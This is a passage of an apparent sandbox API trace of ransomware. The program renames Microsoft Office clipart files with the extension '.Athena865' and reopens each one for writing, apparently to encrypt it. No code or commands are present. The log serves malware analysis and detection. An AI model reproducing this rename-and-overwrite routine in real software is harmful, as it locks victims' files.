dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.127] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=64767) returned 1 [0124.132] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099167.JPG" | out: lpString1="J0099167.JPG") returned="J0099167.JPG" [0124.132] lstrlenW (lpString="J0099167.JPG") returned 12 [0124.132] lstrlenW (lpString="Athena865") returned 9 [0124.132] lstrcmpiW (lpString1="99167.JPG", lpString2="Athena865") returned -1 [0124.132] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.Athena865") returned 73 [0124.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.athena865"), dwFlags=0x1) returned 1 [0124.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.134] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43949) returned 1 [0124.138] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099168.JPG" | out: lpString1="J0099168.JPG") returned="J0099168.JPG" [0124.138] lstrlenW (lpString="J0099168.JPG") returned 12 [0124.138] lstrlenW (lpString="Athena865") returned 9 [0124.138] lstrcmpiW (lpString1="99168.JPG", lpString2="Athena865") returned -1 [0124.138] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.Athena865") returned 73 [0124.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.athena865"), dwFlags=0x1) returned 1 [0124.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.140] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20179) returned 1 [0124.143] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099169.WMF" | out: lpString1="J0099169.WMF") returned="J0099169.WMF" [0124.143] lstrlenW (lpString="J0099169.WMF") returned 12 [0124.143] lstrlenW (lpString="Athena865") returned 9 [0124.143] lstrcmpiW (lpString1="99169.WMF", lpString2="Athena865") returned -1 [0124.143] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.Athena865") returned 73 [0124.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.athena865"), dwFlags=0x1) returned 1 [0124.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.145] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10192) returned 1 [0124.150] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099170.WMF" | out: lpString1="J0099170.WMF") returned="J0099170.WMF" [0124.150] lstrlenW (lpString="J0099170.WMF") returned 12 [0124.150] lstrlenW (lpString="Athena865") returned 9 [0124.150] lstrcmpiW (lpString1="99170.WMF", lpString2="Athena865") returned -1 [0124.150] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.Athena865") returned 73 [0124.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.athena865"), dwFlags=0x1) returned 1 [0124.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.151] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24292) returned 1 [0124.154] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099171.WMF" | out: lpString1="J0099171.WMF") returned="J0099171.WMF" [0124.154] lstrlenW (lpString="J0099171.WMF") returned 12 [0124.154] lstrlenW (lpString="Athena865") returned 9 [0124.155] lstrcmpiW (lpString1="99171.WMF", lpString2="Athena865") returned -1 [0124.155] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.Athena865") returned 73 [0124.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.athena865"), dwFlags=0x1) returned 1 [0124.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.158] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8754) returned 1 [0124.161] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099172.WMF" | out: lpString1="J0099172.WMF") returned="J0099172.WMF" [0124.161] lstrlenW (lpString="J0099172.WMF") returned 12 [0124.161] lstrlenW (lpString="Athena865") returned 9 [0124.161] lstrcmpiW (lpString1="99172.WMF", lpString2="Athena865") returned -1 [0124.161] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.Athena865") returned 73 [0124.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.athena865"), dwFlags=0x1) returned 1 [0124.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.163] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=58258) returned 1 [0124.167] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099173.WMF" | out: lpString1="J0099173.WMF") returned="J0099173.WMF" [0124.167] lstrlenW (lpString="J0099173.WMF") returned 12 [0124.167] lstrlenW (lpString="Athena865") returned 9 [0124.167] lstrcmpiW (lpString1="99173.WMF", lpString2="Athena865") returned -1 [0124.168] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.Athena865") returned 73 [0124.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.athena865"), dwFlags=0x1) returned 1 [0124.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.169] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37140) returned 1 [0124.173] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099174.WMF" | out: lpString1="J0099174.WMF") returned="J0099174.WMF" [0124.173] lstrlenW (lpString="J0099174.WMF") returned 12 [0124.173] lstrlenW (lpString="Athena865") returned 9 [0124.173] lstrcmpiW (lpString1="99174.WMF", lpString2="Athena865") returned -1 [0124.173] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.Athena865") returned 73 [0124.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.athena865"), dwFlags=0x1) returned 1 [0124.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.174] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6214) returned 1 [0124.177] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099175.WMF" | out: lpString1="J0099175.WMF") returned="J0099175.WMF" [0124.177] lstrlenW (lpString="J0099175.WMF") returned 12 [0124.177] lstrlenW (lpString="Athena865") returned 9 [0124.177] lstrcmpiW (lpString1="99175.WMF", lpString2="Athena865") returned -1 [0124.177] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.Athena865") returned 73 [0124.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.athena865"), dwFlags=0x1) returned 1 [0124.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.179] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9744) returned 1 [0124.182] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099176.WMF" | out: lpString1="J0099176.WMF") returned="J0099176.WMF" [0124.182] lstrlenW (lpString="J0099176.WMF") returned 12 [0124.182] lstrlenW (lpString="Athena865") returned 9 [0124.182] lstrcmpiW (lpString1="99176.WMF", lpString2="Athena865") returned -1 [0124.182] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.Athena865") returned 73 [0124.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.athena865"), dwFlags=0x1) returned 1 [0124.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.183] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2488) returned 1 [0124.186] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099177.WMF" | out: lpString1="J0099177.WMF") returned="J0099177.WMF" [0124.186] lstrlenW (lpString="J0099177.WMF") returned 12 [0124.186] lstrlenW (lpString="Athena865") returned 9 [0124.186] lstrcmpiW (lpString1="99177.WMF", lpString2="Athena865") returned -1 [0124.186] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.Athena865") returned 73 [0124.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.athena865"), dwFlags=0x1) returned 1 [0124.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.187] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5386) returned 1 [0124.190] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099178.WMF" | out: lpString1="J0099178.WMF") returned="J0099178.WMF" [0124.190] lstrlenW (lpString="J0099178.WMF") returned 12 [0124.190] lstrlenW (lpString="Athena865") returned 9 [0124.191] lstrcmpiW (lpString1="99178.WMF", lpString2="Athena865") returned -1 [0124.191] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.Athena865") returned 73 [0124.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.athena865"), dwFlags=0x1) returned 1 [0124.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.192] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3606) returned 1 [0124.195] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099179.WMF" | out: lpString1="J0099179.WMF") returned="J0099179.WMF" [0124.195] lstrlenW (lpString="J0099179.WMF") returned 12 [0124.195] lstrlenW (lpString="Athena865") returned 9 [0124.195] lstrcmpiW (lpString1="99179.WMF", lpString2="Athena865") returned -1 [0124.195] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.Athena865") returned 73 [0124.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.athena865"), dwFlags=0x1) returned 1 [0124.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.196] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9154) returned 1 [0124.199] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099180.WMF" | out: lpString1="J0099180.WMF") returned="J0099180.WMF" [0124.199] lstrlenW (lpString="J0099180.WMF") returned 12 [0124.199] lstrlenW (lpString="Athena865") returned 9 [0124.199] lstrcmpiW (lpString1="99180.WMF", lpString2="Athena865") returned -1 [0124.199] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.Athena865") returned 73 [0124.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.athena865"), dwFlags=0x1) returned 1 [0124.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.200] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3394) returned 1 [0124.203] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099181.WMF" | out: lpString1="J0099181.WMF") returned="J0099181.WMF" [0124.203] lstrlenW (lpString="J0099181.WMF") returned 12 [0124.203] lstrlenW (lpString="Athena865") returned 9 [0124.203] lstrcmpiW (lpString1="99181.WMF", lpString2="Athena865") returned -1 [0124.204] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.Athena865") returned 73 [0124.204] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.athena865"), dwFlags=0x1) returned 1 [0124.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.205] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1198) returned 1 [0124.208] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099182.WMF" | out: lpString1="J0099182.WMF") returned="J0099182.WMF" [0124.208] lstrlenW (lpString="J0099182.WMF") returned 12 [0124.208] lstrlenW (lpString="Athena865") returned 9 [0124.208] lstrcmpiW (lpString1="99182.WMF", lpString2="Athena865") returned -1 [0124.208] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.Athena865") returned 73 [0124.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.athena865"), dwFlags=0x1) returned 1 [0124.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.209] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3840) returned 1 [0124.214] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099183.WMF" | out: lpString1="J0099183.WMF") returned="J0099183.WMF" [0124.214] lstrlenW (lpString="J0099183.WMF") returned 12 [0124.214] lstrlenW (lpString="Athena865") returned 9 [0124.214] lstrcmpiW (lpString1="99183.WMF", lpString2="Athena865") returned -1 [0124.214] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.Athena865") returned 73 [0124.214] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.athena865"), dwFlags=0x1) returned 1 [0124.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.216] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4946) returned 1 [0124.219] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099184.WMF" | out: lpString1="J0099184.WMF") returned="J0099184.WMF" [0124.219] lstrlenW (lpString="J0099184.WMF") returned 12 [0124.219] lstrlenW (lpString="Athena865") returned 9 [0124.219] lstrcmpiW (lpString1="99184.WMF", lpString2="Athena865") returned -1 [0124.219] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.Athena865") returned 73 [0124.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.athena865"), dwFlags=0x1) returned 1 [0124.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.220] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4118) returned 1 [0124.223] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099185.JPG" | out: lpString1="J0099185.JPG") returned="J0099185.JPG" [0124.223] lstrlenW (lpString="J0099185.JPG") returned 12 [0124.223] lstrlenW (lpString="Athena865") returned 9 [0124.223] lstrcmpiW (lpString1="99185.JPG", lpString2="Athena865") returned -1 [0124.223] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.Athena865") returned 73 [0124.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.athena865"), dwFlags=0x1) returned 1 [0124.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.224] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3282) returned 1 [0124.227] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099186.JPG" | out: lpString1="J0099186.JPG") returned="J0099186.JPG" [0124.227] lstrlenW (lpString="J0099186.JPG") returned 12 [0124.227] lstrlenW (lpString="Athena865") returned 9 [0124.227] lstrcmpiW (lpString1="99186.JPG", lpString2="Athena865") returned -1 [0124.227] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.Athena865") returned 